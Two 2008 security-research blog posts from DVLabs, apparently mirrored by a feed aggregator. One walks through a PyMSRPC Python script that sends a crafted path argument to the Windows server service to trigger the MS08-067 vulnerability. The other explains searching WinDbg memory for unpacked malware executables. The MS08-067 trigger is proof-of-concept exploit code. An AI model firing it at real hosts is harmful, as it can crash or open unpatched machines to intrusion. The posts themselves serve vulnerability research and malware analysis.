SecurityFeed.info » DVLabs: Blogs

DVLabs: Blogs (10 unread)

November 06, 2008
19:45
Using PyMSRPC to Trigger MS08-067
» ‎ DVLabs: Blogs
Posted by Aaron Portnoy
There as been a lot of talk around Microsoft's MS08-067 out of band bulletin. Alexander Sotirov decompiled and annotated the vulnerable routine, Metasploit released a working exploit, in this post I will talk about a method you can utilize to quickly talk to this and any other RPC endpoint.

We are going to quickly establish a connecton to the vulnerable endpoint using the PyMSRPC library that Cody and I wrote and released at DeepSec to hit the vulnerable code patched in . The vulnerability is within the server service which can be exposed as either services.exe or svchost.exe depending on which version of Windows you are using. To locate the proper binary fire up Process Explorer from Microsoft. Selecting Find->Find Handle or DLL and entering 'srvsvc' will search all modules loaded on the system for the named pipe associated with the server service. Here is a screenshot of this on my system:

We can see that the svchost.exe process has a named pipe with the name srvsvc. Notice also that there is a dll called srvsvc.dll. This is likely going to be where the actual RPC structures are defined. The next step is to load srvsvc.dll in IDA and pull out the IDL information. In case you're not familiar with the Interface Definition Language check out our previous post on Network Data Representation which covers the basics of Microsoft's IDL.

Once the file is loaded we can run the mIDA plugin from Tenable to browse the defined RPC functions. The following list is generated:
- 0x00 0x4B3AF699 _NetrCharDevEnum
- 0x01 0x4B3AF683 _NetrCharDevGetInfo
- 0x02 0x4B3AF6AF _NetrCharDevQPurgeSelf
- 0x03 0x4B3AF68E _NetrCharDevQEnum
- 0x04 0x4B3AF699 _NetrCharDevEnum
- 0x05 0x4B3AF699 _NetrCharDevEnum
- 0x06 0x4B3AF6A4 _NetrCharDevQPurge
- 0x07 0x4B3AF6AF _NetrCharDevQPurgeSelf
- 0x08 0x4B3B0DF9 _NetrConnectionEnum
- 0x09 0x4B3B1958 _NetrFileEnum
- 0x0A 0x4B3B19DC _NetrFileGetInfo
- 0x0B 0x4B3B182D _NetrFileClose
- 0x0C 0x4B3B3985 _NetrSessionEnum
- 0x0D 0x4B3B3896 _NetrSessionDel
- 0x0E 0x4B3A6A9B _NetrShareAdd
- 0x0F 0x4B3A39A7 _NetrShareEnum
- 0x10 0x4B3B47FC _NetrShareGetInfo
- 0x11 0x4B3B48C7 _NetrShareSetInfo
- 0x12 0x4B3B5389 _NetrShareDel
- 0x13 0x4B3B46A1 _NetrShareDelSticky
- 0x14 0x4B3B410F _NetrShareCheck
- 0x15 0x4B3A3C60 _NetrServerGetInfo
- 0x16 0x4B3B57A5 _NetrServerSetInfo
- 0x17 0x4B3B16EF _NetrServerDiskEnum
- 0x18 0x4B3B5F5B _NetrServerStatisticsGet
- 0x19 0x4B3B6459 _NetrServerTransportAdd
- 0x1A 0x4B3B62CC _NetrServerTransportEnum
- 0x1B 0x4B3B6693 _NetrServerTransportDel
- 0x1C 0x4B3B60A0 _NetrRemoteTOD
- 0x1D 0x4B3A4701 _I_NetrServerSetServiceBits
- 0x1E 0x4B3AF5C6 _NetprPathType
- 0x1F 0x4B3AF5E2 _NetprPathCanonicalize
- 0x20 0x4B3AF607 _NetprPathCompare
- 0x21 0x4B3AF626 _NetprNameValidate
- 0x22 0x4B3AF642 _NetprNameCanonicalize
- 0x23 0x4B3AF664 _NetprNameCompare
- 0x24 0x4B3B4785 _NetrShareEnumSticky
- 0x25 0x4B3B53B8 _NetrShareDelStart
- 0x26 0x4B3B4538 _NetrShareDelCommit
- 0x27 0x4B3AF463 _NetrpGetFileSecurity
- 0x28 0x4B3AF519 _NetrpSetFileSecurity
- 0x29 0x4B3B63CF _NetrServerTransportAddEx
- 0x2A 0x4B3A4724 _I_NetrServerSetServiceBitsEx
- 0x2B 0x4B3B0F0D _NetrDfsGetVersion
- 0x2C 0x4B3B0F47 _NetrDfsCreateLocalPartition
- 0x2D 0x4B3B0F52 _NetrDfsDeleteLocalPartition
- 0x2E 0x4B3B100B _NetrDfsSetLocalVolumeState
- 0x2F 0x4B3B10CA _NetrDfsSetServerInfo
- 0x30 0x4B3B1183 _NetrDfsCreateExitPoint
- 0x31 0x4B3B1244 _NetrDfsDeleteExitPoint
- 0x32 0x4B3B1303 _NetrDfsModifyPrefix
- 0x33 0x4B3B13BC _NetrDfsFixLocalVolume
- 0x34 0x4B3B13C7 _NetrDfsManagerReportSiteInfo
- 0x35 0x4B3B64BF _NetrServerTransportDelEx
- 0x36 0x4B3B54E0 _NetrServerAliasAdd
- 0x37 0x4B3B55CD _NetrServerAliasEnum
- 0x38 0x4B3B56BF _NetrServerAliasDel
- 0x39 0x4B3B51C3 _NetrShareDelEx
Skipping through the bindiffing process, MS08-067 patched opcode 0x1F which is the _NetprPathCanonicalize function. Using mIDA to retrieve this function's IDL description returns the following:
```
    [
```
```
     uuid(4b324fc8-1670-01d3-1278-5a47bf6ee188),
```
```
     version(3.0)
```
```
    ]
```
```
    
```
```
    /* opcode: 0x1F, address: 0x4B3AF5E2 */
```
```
    
```
```
    long  _NetprPathCanonicalize (
```
```
     [in][unique][string] wchar_t * arg_1,
```
```
     [in][string] wchar_t * arg_2,
```
```
     [out][size_is(arg_4)] char * arg_3,
```
```
     [in][range(0,64000)] long arg_4,
```
```
     [in][string] wchar_t * arg_5,
```
```
     [in, out] long * arg_6,
```
```
     [in] long arg_7
```
```
    );
```
So, essentially this function takes three wide character strings and three long values. Now we will create a script to communicate with this endpoint using the PyMSRPC library. We'll start off by creating a new file in the pymsrpctests directory, I called mine srvsvc.py.

Firstly we will import necessary functionality:
```
    import sys, os, struct
```
```
    sys.path.append("..")
```
```
    from rpc import *
```
```
    from ndr import *
```
```
    from debug import print_hex
```
The next step is to define a class for the opcode we want to call, in this case opcode 0x1F. Using the IDL information we gatherered with mIDA we can define the "IN" arguments to this opcode within the class constructor:
```
    class opcode_1f:
```
```
        def __init__(self):
```
```
            self.arg1 = ndr_unique(data=ndr_wstring(data="127.0.0.1"))
```
```
            self.arg2 = ndr_wstring(data="\A\..\..\" + "A" * 50)
```
```
            self.arg4 = ndr_long(data=500)
```
```
            self.arg5 = ndr_wstring(data="")
```
```
            self.arg6 = ndr_long(data=1)
```
```
            self.arg7 = ndr_long(data=0)
```
The first argument we define is the wide char string. We wrap the instantiation of a ndr_wstring (provided by PyMSRPC) with a call to ndr_unique. This is because of the [unique] tag in the IDL definition. See the previously linked blog entry for a more detailed explanation. The rest of the arguments should be self-explanatory. The argument that triggers the vulnerability is arg2, the path name.

Once the constructor is defined, we can then write a quick serialization function that just passes off the NDR marshalling work to PyMSRPC. We'll call the function get_packed and it's definition is the following:
```
    def get_packed(self):
```
```
        packeddata = ""
```
```
        packeddata += self.arg1.serialize()
```
```
        packeddata += self.arg2.serialize()
```
```
        packeddata += self.arg4.serialize()
```
```
        packeddata += self.arg5.serialize()
```
```
        packeddata += self.arg6.serialize()
```
```
        packeddata += self.arg7.serialize()
```
```
        
```
```
        print "[%s]" % print_hex(packeddata)
```
```
        return packeddata
```
The serialize methods of the PyMSRPC NDR objects handles padding and alignment issues transparently. So, our get_packed function here just appends all the serialized strings together and returns it. This allows you to easily change the data within the constructor and not worry about marshaling it all by hand each time.

Now that our data is defined, we must establish the communication with the RPC endpoint. PyMSRPC wraps Core's Impacket library for DCERPC. We will be communicating over a named pipe so all we need to define is the pipe name, the host, the port, the UUID of the RPC endpoint we'd like to communicate with, and it's version. The code to do this follows:
```
    host = '192.168.1.101'
```
```
    port = 445
```
```
    pipe = 'browser'
```
```
    uuid = '4b324fc8-1670-01d3-1278-5a47bf6ee188'
```
```
    version = '3.0'
```
```
    
```
```
    rpc = RPCnp(host, port, pipe)
```
```
    rpc.connect()
```
```
    
```
```
    rpc.bind(uuid, version)
```
You'll notice we used the named pipe 'browser' rather than 'srvsvc'. This is because the browser named pipe does not require credentials and we can use it to piggyback communication to the correct endpoint by specifying the UUID for the server service.

The last remaining step is simply to create an opcode_1f object, serialize it, and send it on it's way. This is accomplished via the following code:
```
    opcode = 0x1f
```
```
    request = opcode_1f().get_packed()
```
```
    rpc.call(opcode, request)
```
If you'd like some more debugging output, you can add the following additional code:
```
    
    recvbuffer = rpc.recv()
    
    rpcerror = rpc.rpcerror(struct.unpack("<L", recvbuffer[:4])[0])
```
```
    
```
```
    if not rpcerror:
```
```
        print "[%s]" % print_hex(recvbuffer)
```
```
        break
```
```
    
```
```
    else:
```
```
        if rpcerror == "rpc_x_bad_stub_data":
```
```
            print "%s" % (rpcerror)
```
```
            break
```
To run this file simply call python srvsvc.py and hopefully your breakpoint on NetprPathCanonicalize should hit. On XP SP3 the breakpoint you would have wanted to set is within srvsvc.dll here:
```
    .text:7509D97A __stdcall NetprPathCanonicalize(x, x, x, x, x, x, x)
```
The srvsvc.dll function simply calls in to the following function in netapi32.dll:
```
    .text:5B86A3A9 ; int __stdcall NetpwPathCanonicalize(wchar_t *,int,int,int,int,int)
```
This function will then lead to the vulnerable MS08-067 issue with a call here:
```
    .text:5B86A4D0                 call    sub_5B86A51B 
```
Within sub_5B86A51B is the vulnerable code. At this point we have a simple 60-line or so script to trigger MS08-067. Hopefully this demonstrates how PyMSRPC can allow you to quickly get up and running with Microsoft RPC investigations.

Permalink for 'DVLabs__Blogs/2008/11/06/MindshaRE__Finding_Executable_Images_in_WinDbg'

19:11

MindshaRE: Finding Executable Images in WinDbg

Posted by Cody Pierce
Working with malware often forces us to think outside of the box. The authors of malicious code employ a variety of techniques to keep investigative eyes from prying. To combat this we must also have some tricks up our sleeve. One of these such tricks allows us to dump executables from a binary after it has been unpacked, is ready to be written to disk, or before it is executed. Today we take a look at this very method here on MindshaRE.

MindshaRE is our weekly look at some simple reverse engineering tips and tricks. The goal is to keep things small and discuss every day aspects of reversing. You can view previous entries here by going through our blog history.

Working with malware can be both fun and extremely frustrating. I think the two go hand in hand. One common method of obfuscating a binary is packing. Packing generally comprises of a decoder stub that takes seemingly innocuous binary data, and produces assembly instructions runnable by the computer. This is done at runtime so that we cannot reverse engineer the executable statically.

When the malware runs and starts to unpack itself it oftens allocates a new region of memory for the new code. Once everything has been decoded execution is transfered to the new region of memory containing the proper assembly instruction.

In other cases the initial piece of malware may "drop" a replica, or alternate form of itself that will run again on reboot. Usually the original is removed and the user is unaware of what is really being executed.

In both situations we can use a simple trick to find this new executable in memory. If the process expects to write a new image out or create a new process using a newly unpacked, or written executable it must have a PE header. Herein lies our trick, finding any PE files in a processes memory space that WinDbg is unaware of.

As a side note, packed executables may not create a image header after it is unpacked. It may simply unpack itself each time it is executed. In those cases the executable simply switches execution to the unpacked region. In such cases this specific trick will not work.

Lets look at a normal executable first, so we can understand what we will be searching for. When listing modules in WinDbg we can easily see anything that WinDbg has loaded, because it keeps a list of modules.

0:001> lm

start    end        module name

01000000 0101f000   calc       (deferred)

5ad70000 5ada8000   UxTheme    (deferred)

74720000 7476c000   MSCTF      (deferred)

755c0000 755ee000   msctfime   (deferred)

76390000 763ad000   IMM32      (deferred)

77120000 771ab000   OLEAUT32   (deferred)

773d0000 774d3000   comctl32   (deferred)

774e0000 7761d000   ole32      (deferred)

77b40000 77b62000   apphelp    (deferred)

77c10000 77c68000   msvcrt     (deferred)

77dd0000 77e6b000   ADVAPI32   (deferred)

77e70000 77f02000   RPCRT4     (deferred)

77f10000 77f59000   GDI32      (deferred)

77f60000 77fd6000   SHLWAPI    (deferred)

77fe0000 77ff1000   Secur32    (deferred)

7c800000 7c8f6000   kernel32   (deferred)

7c900000 7c9af000   ntdll      (pdb symbols)

7c9c0000 7d1d7000   SHELL32    (deferred)

7e410000 7e4a1000   USER32     (deferred)


Unloaded modules:

5cb70000 5cb96000   ShimEng.dll

77c00000 77c08000   version.dll

Simple enough. This list shows our main executable image "calc" and libraries it has loaded. Let's take this one step further and do the searching ourselves. This is how we will later detect modules in memory that may be malicious.

0:001> s -d 0x0 L?0xffffffff 0x00905a4d

01000000  00905a4d 00000003 00000004 0000ffff  MZ..............

5ad70000  00905a4d 00000003 00000004 0000ffff  MZ..............

74720000  00905a4d 00000003 00000004 0000ffff  MZ..............

755c0000  00905a4d 00000003 00000004 0000ffff  MZ..............

76390000  00905a4d 00000003 00000004 0000ffff  MZ..............

77120000  00905a4d 00000003 00000004 0000ffff  MZ..............

773d0000  00905a4d 00000003 00000004 0000ffff  MZ..............

774e0000  00905a4d 00000003 00000004 0000ffff  MZ..............

77b40000  00905a4d 00000003 00000004 0000ffff  MZ..............

77c10000  00905a4d 00000003 00000004 0000ffff  MZ..............

77dd0000  00905a4d 00000003 00000004 0000ffff  MZ..............

77e70000  00905a4d 00000003 00000004 0000ffff  MZ..............

77f10000  00905a4d 00000003 00000004 0000ffff  MZ..............

77f60000  00905a4d 00000003 00000004 0000ffff  MZ..............

77fe0000  00905a4d 00000003 00000004 0000ffff  MZ..............

7c800000  00905a4d 00000003 00000004 0000ffff  MZ..............

7c900000  00905a4d 00000003 00000004 0000ffff  MZ..............

7c9c0000  00905a4d 00000003 00000004 0000ffff  MZ..............

7e410000  00905a4d 00000003 00000004 0000ffff  MZ..............

The "s" command is very powerful allowing you to search not only dword sized bytes, but ascii/unicode strings, and any other data type you can imagine. The dword we are searching for in our example is the "magic" 2 bytes of a PE file and its header offset. In my experience these provide a unique identifier for executable images. Just to be fair the "magic" is actually the magic of the predecessor MZ DOS file format, and is used for the ms-dos executable stub in every PE file. Little known fact, the MZ stands for Mark Zbikowski, the creator of the DOS executable file format.

Lets verify the results from our seach using the "!lmi" command.

0:001> !lmi 01000000

Loaded Module Info: [01000000]

         Module: calc

   Base Address: 01000000

     Image Name: C:windowssystem32calc.exe

   Machine Type: 332 (I386)

     Time Stamp: 3b7d8410 Fri Aug 17 15:52:32 2001

           Size: 1f000

       CheckSum: 1d7fc

Characteristics: 10f

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    19,  160c,     a0c NB10 - Sig: 3b7d8410, Age: 1, Pdb: calc.pdb

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

Alright, we have a decent way to search for executables. Lets fine tune this using the "1" flag to "s", and the ".foreach" command. In the help file for search we see the following about the "1" flag.

"1 - Displays only the addresses of search matches in the search output. This option is useful if you are using the .foreach token to pipe the command output into another command's input. "

Here is the new output.

0:001> s -[1]d 0x0 L?0xffffffff 0x00905a4d

0x01000000

0x5ad70000

0x74720000

0x755c0000

0x76390000

0x77120000

0x773d0000

0x774e0000

0x77b40000

0x77c10000

0x77dd0000

0x77e70000

0x77f10000

0x77f60000

0x77fe0000

0x7c800000

0x7c900000

0x7c9c0000

0x7e410000

Now we can feed this to the very handy scripting command ".foreach", which as you can imagine loops through the input tokens and runs another command on each of them. For this example we will use "!lmi" like we did previously to get a listing of each module in our binary.

0:001> .foreach ( header {s -[1]d 0x0 L?0xffffffff 0x00905a4d} ) {.echo "****HEADER****";!lmi header}

****HEADER****

Loaded Module Info: [0x01000000]

         Module: calc

   Base Address: 01000000

     Image Name: C:windowssystem32calc.exe

   Machine Type: 332 (I386)

     Time Stamp: 3b7d8410 Fri Aug 17 15:52:32 2001

           Size: 1f000

       CheckSum: 1d7fc

Characteristics: 10f

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    19,  160c,     a0c NB10 - Sig: 3b7d8410, Age: 1, Pdb: calc.pdb

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x5ad70000]

         Module: UxTheme

   Base Address: 5ad70000

     Image Name: C:WINDOWSsystem32UxTheme.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a11e Sun Apr 13 19:11:10 2008

           Size: 38000

       CheckSum: 4533d

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    24, 300fc,   2f4fc RSDS - GUID: {E99E1630-8F09-4767-B1F0-7FB5C3E5E246}

               Age: 2, Pdb: uxtheme.pdb

                CLSID     4, 300f8,   2f4f8 [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x74720000]

         Module: MSCTF

   Base Address: 74720000

     Image Name: C:WINDOWSsystem32MSCTF.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a12c Sun Apr 13 19:11:24 2008

           Size: 4c000

       CheckSum: 492ef

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    22, 427dc,   41bdc RSDS - GUID: {C52F0B4C-00E9-4556-AE99-9F228B001966}

               Age: 2, Pdb: msctf.pdb

                CLSID     4, 427d8,   41bd8 [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x755c0000]

         Module: msctfime

   Base Address: 755c0000

     Image Name: C:WINDOWSsystem32msctfime.ime

   Machine Type: 332 (I386)

     Time Stamp: 4802a12d Sun Apr 13 19:11:25 2008

           Size: 2e000

       CheckSum: 2d2b7

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    25,  4398,    3798 RSDS - GUID: {60228888-3AF4-4453-9793-69233E091E64}

               Age: 1, Pdb: msctfime.pdb

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x76390000]

         Module: IMM32

   Base Address: 76390000

     Image Name: C:WINDOWSsystem32IMM32.DLL

   Machine Type: 332 (I386)

     Time Stamp: 4802a0e7 Sun Apr 13 19:10:15 2008

           Size: 1d000

       CheckSum: 2921b

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    22, 15a74,   14e74 RSDS - GUID: {F7A5B5DB-1332-4153-B57A-AF340C77EA51}

               Age: 2, Pdb: imm32.pdb

                CLSID     4, 15a70,   14e70 [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x77120000]

         Module: OLEAUT32

   Base Address: 77120000

     Image Name: C:WINDOWSsystem32OLEAUT32.DLL

   Machine Type: 332 (I386)

     Time Stamp: 4802a112 Sun Apr 13 19:10:58 2008

           Size: 8b000

       CheckSum: 8d4e3

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    25, 7f970,   7ed70 RSDS - GUID: {F2A20900-9B69-4EFC-AD1A-6CE9D992EBC1}

               Age: 2, Pdb: oleaut32.pdb

                CLSID     4, 7f96c,   7ed6c [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x773d0000]

         Module: comctl32

   Base Address: 773d0000

     Image Name: C:WINDOWSWinSxSx86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83comctl32.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a094 Sun Apr 13 19:08:52 2008

           Size: 103000

       CheckSum: 10324b

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    53,  3eb8,    32b8 RSDS - GUID: {50505797-1C40-416F-B39F-ED1D39BED057}

               Age: 1, Pdb: MicrosoftWindowsCommon-Controls-6.0.2600.5512-comctl32.pdb

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x774e0000]

         Module: ole32

   Base Address: 774e0000

     Image Name: C:WINDOWSsystem32ole32.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a111 Sun Apr 13 19:10:57 2008

           Size: 13d000

       CheckSum: 14744b

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    22, 11ff3c,  11f33c RSDS - GUID: {ED517599-D2C1-4CF1-9200-861833059C14}

               Age: 2, Pdb: ole32.pdb

                CLSID     4, 11ff38,  11f338 [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x77b40000]

         Module: apphelp

   Base Address: 77b40000

     Image Name: C:WINDOWSsystem32apphelp.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a0bf Sun Apr 13 19:09:35 2008

           Size: 22000

       CheckSum: 29aea

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    24, 1d5a8,   1c9a8 RSDS - GUID: {67A8FA70-E1A7-4574-8157-14DA307E21BB}

               Age: 2, Pdb: apphelp.pdb

                CLSID     4, 1d5a4,   1c9a4 [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x77c10000]

         Module: msvcrt

   Base Address: 77c10000

     Image Name: C:WINDOWSsystem32msvcrt.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a188 Sun Apr 13 19:12:56 2008

           Size: 58000

       CheckSum: 57341

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    23,  b828,    ac28 RSDS - GUID: {7BCF30D8-C91B-4F1B-85FA-4E5589625011}

               Age: 1, Pdb: msvcrt.pdb

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x77dd0000]

         Module: ADVAPI32

   Base Address: 77dd0000

     Image Name: C:WINDOWSsystem32ADVAPI32.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a0b2 Sun Apr 13 19:09:22 2008

           Size: 9b000

       CheckSum: 9b625

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    25, 75514,   74914 RSDS - GUID: {5EFB9BF4-2CC6-4024-AB64-802E46739464}

               Age: 2, Pdb: advapi32.pdb

                CLSID     4, 75510,   74910 [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x77e70000]

         Module: RPCRT4

   Base Address: 77e70000

     Image Name: C:WINDOWSsystem32RPCRT4.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a106 Sun Apr 13 19:10:46 2008

           Size: 92000

       CheckSum: 91932

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    23, 83720,   82b20 RSDS - GUID: {CCD4FE9B-704E-48B6-B8A1-2F31E112AA6F}

               Age: 2, Pdb: rpcrt4.pdb

                CLSID     4, 8371c,   82b1c [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x77f10000]

         Module: GDI32

   Base Address: 77f10000

     Image Name: C:WINDOWSsystem32GDI32.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a0be Sun Apr 13 19:09:34 2008

           Size: 49000

       CheckSum: 472ff

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    22, 43558,   42958 RSDS - GUID: {740F60A9-9F2A-417E-96C3-87400994588D}

               Age: 2, Pdb: gdi32.pdb

                CLSID     4, 43554,   42954 [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x77f60000]

         Module: SHLWAPI

   Base Address: 77f60000

     Image Name: C:WINDOWSsystem32SHLWAPI.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a116 Sun Apr 13 19:11:02 2008

           Size: 76000

       CheckSum: 8329f

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    24, 6cb44,   6bf44 RSDS - GUID: {8519E340-3447-4788-84CF-FE7F1A91BAE0}

               Age: 2, Pdb: shlwapi.pdb

                CLSID     4, 6cb40,   6bf40 [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x77fe0000]

         Module: Secur32

   Base Address: 77fe0000

     Image Name: C:WINDOWSsystem32Secur32.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a11b Sun Apr 13 19:11:07 2008

           Size: 11000

       CheckSum: 117db

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    24,  d1b8,    c5b8 RSDS - GUID: {E8D37874-0B8E-4A46-B19C-AFCD2D6DDF7D}

               Age: 2, Pdb: secur32.pdb

                CLSID     4,  d1b4,    c5b4 [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x7c800000]

         Module: kernel32

   Base Address: 7c800000

     Image Name: C:WINDOWSsystem32kernel32.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a12c Sun Apr 13 19:11:24 2008

           Size: f6000

       CheckSum: f44a2

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    25, 840a4,   834a4 RSDS - GUID: {34560E80-F5C5-4175-B208-848EF863C5BD}

               Age: 2, Pdb: kernel32.pdb

                CLSID     4, 840a0,   834a0 [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x7c900000]

         Module: ntdll

   Base Address: 7c900000

     Image Name: C:WINDOWSsystem32ntdll.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a12c Sun Apr 13 19:11:24 2008

           Size: af000

       CheckSum: b62bc

Characteristics: 210e  perf

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    22, 7af94,   7a394 RSDS - GUID: {17510032-60CA-4259-8C0F-B326585000ED}

               Age: 2, Pdb: ntdll.pdb

                CLSID     4, 7af90,   7a390 [Data not mapped]

     Image Type: FILE     - Image read successfully from debugger.

                 C:WINDOWSsystem32ntdll.dll

    Symbol Type: PDB      - Symbols loaded successfully from symbol server.

                 c:windowsSymbolsntdll.pdb1751003260CA42598C0FB326585000ED2ntdll.pdb

    Load Report: public symbols , not source indexed

                 c:windowsSymbolsntdll.pdb1751003260CA42598C0FB326585000ED2ntdll.pdb

****HEADER****

Loaded Module Info: [0x7c9c0000]

         Module: SHELL32

   Base Address: 7c9c0000

     Image Name: C:WINDOWSsystem32SHELL32.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a111 Sun Apr 13 19:10:57 2008

           Size: 817000

       CheckSum: 81ad5d

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    24, 1fe8dc,  1fdcdc RSDS - GUID: {69B3829B-B688-4926-A5B9-7BF04E812C6B}

               Age: 2, Pdb: shell32.pdb

                CLSID     4, 1fe8d8,  1fdcd8 [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

****HEADER****

Loaded Module Info: [0x7e410000]

         Module: USER32

   Base Address: 7e410000

     Image Name: C:WINDOWSsystem32USER32.dll

   Machine Type: 332 (I386)

     Time Stamp: 4802a11b Sun Apr 13 19:11:07 2008

           Size: 91000

       CheckSum: 8fc76

Characteristics: 210e

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    23, 60260,   5f660 RSDS - GUID: {D18A41B7-4E7F-458C-AAAC-1847E2D8BF02}

               Age: 2, Pdb: user32.pdb

                CLSID     4, 6025c,   5f65c [Data not mapped]

    Symbol Type: DEFERRED - No error - symbol load deferred

    Load Report: no symbols loaded

I know that is a lot of information. It's basically doing what we did, or could do, with "lm" but it proves we are dealing with executable images.

Now, what if calc.exe had a payload, or had unpacked a new executable to run? For demonstration purposes, and so you can do this yourself without running an actual malicious image, we are going to fake it. The goal will be locating this new image and subsequently dumping it before it ever runs, or is written to disk.

For our fake I will allocate memory in WinDbg and store the header from the original calc.exe in the newly created memory region.

0:001> .dvalloc /b 41410000 1024

Allocated 2000 bytes starting at 41410000


0:001> dc 41410000

41410000  00000000 00000000 00000000 00000000  ................

41410010  00000000 00000000 00000000 00000000  ................

41410020  00000000 00000000 00000000 00000000  ................

41410030  00000000 00000000 00000000 00000000  ................

41410040  00000000 00000000 00000000 00000000  ................

41410050  00000000 00000000 00000000 00000000  ................

41410060  00000000 00000000 00000000 00000000  ................

41410070  00000000 00000000 00000000 00000000  ................


0:001> .readmem "C:\windows\system32\calc.exe" 41410000 41411024

Reading 1025 bytes...


0:001> dc 41410000

41410000  00905a4d 00000003 00000004 0000ffff  MZ..............

41410010  000000b8 00000000 00000040 00000000  ........@.......

41410020  00000000 00000000 00000000 00000000  ................

41410030  00000000 00000000 00000000 000000f0  ................

41410040  0eba1f0e cd09b400 4c01b821 685421cd  ........!..L.!Th

41410050  70207369 72676f72 63206d61 6f6e6e61  is program canno

41410060  65622074 6e757220 206e6920 20534f44  t be run in DOS

41410070  65646f6d 0a0d0d2e 00000024 00000000  mode....$.......

OK. Let's now list our modules and see what shows up.

0:001> lm

start    end        module name

01000000 0101f000   calc       (pdb symbols)

5ad70000 5ada8000   UxTheme    (pdb symbols)

74720000 7476c000   MSCTF      (pdb symbols)

755c0000 755ee000   msctfime   (pdb symbols)

76390000 763ad000   IMM32      (pdb symbols)

77120000 771ab000   OLEAUT32   (pdb symbols)

773d0000 774d3000   comctl32   (pdb symbols)

774e0000 7761d000   ole32      (pdb symbols)

77b40000 77b62000   apphelp    (pdb symbols)

77c10000 77c68000   msvcrt     (pdb symbols)

77dd0000 77e6b000   ADVAPI32   (pdb symbols)

77e70000 77f02000   RPCRT4     (pdb symbols)

77f10000 77f59000   GDI32      (pdb symbols)

77f60000 77fd6000   SHLWAPI    (pdb symbols)

77fe0000 77ff1000   Secur32    (pdb symbols)

7c800000 7c8f6000   kernel32   (pdb symbols)

7c900000 7c9af000   ntdll      (pdb symbols)

7c9c0000 7d1d7000   SHELL32    (pdb symbols)

7e410000 7e4a1000   USER32     (pdb symbols)


Unloaded modules:

5cb70000 5cb96000   ShimEng.dll

77c00000 77c08000   version.dll

This looks the same is it did before right? This is because WinDBG (or any debugger) doesn't scan memory for executables, it keeps a list when loading. So let's search ourselves and see what we come up with.

0:001> s -d 0x0 L?0xffffffff 0x00905a4d

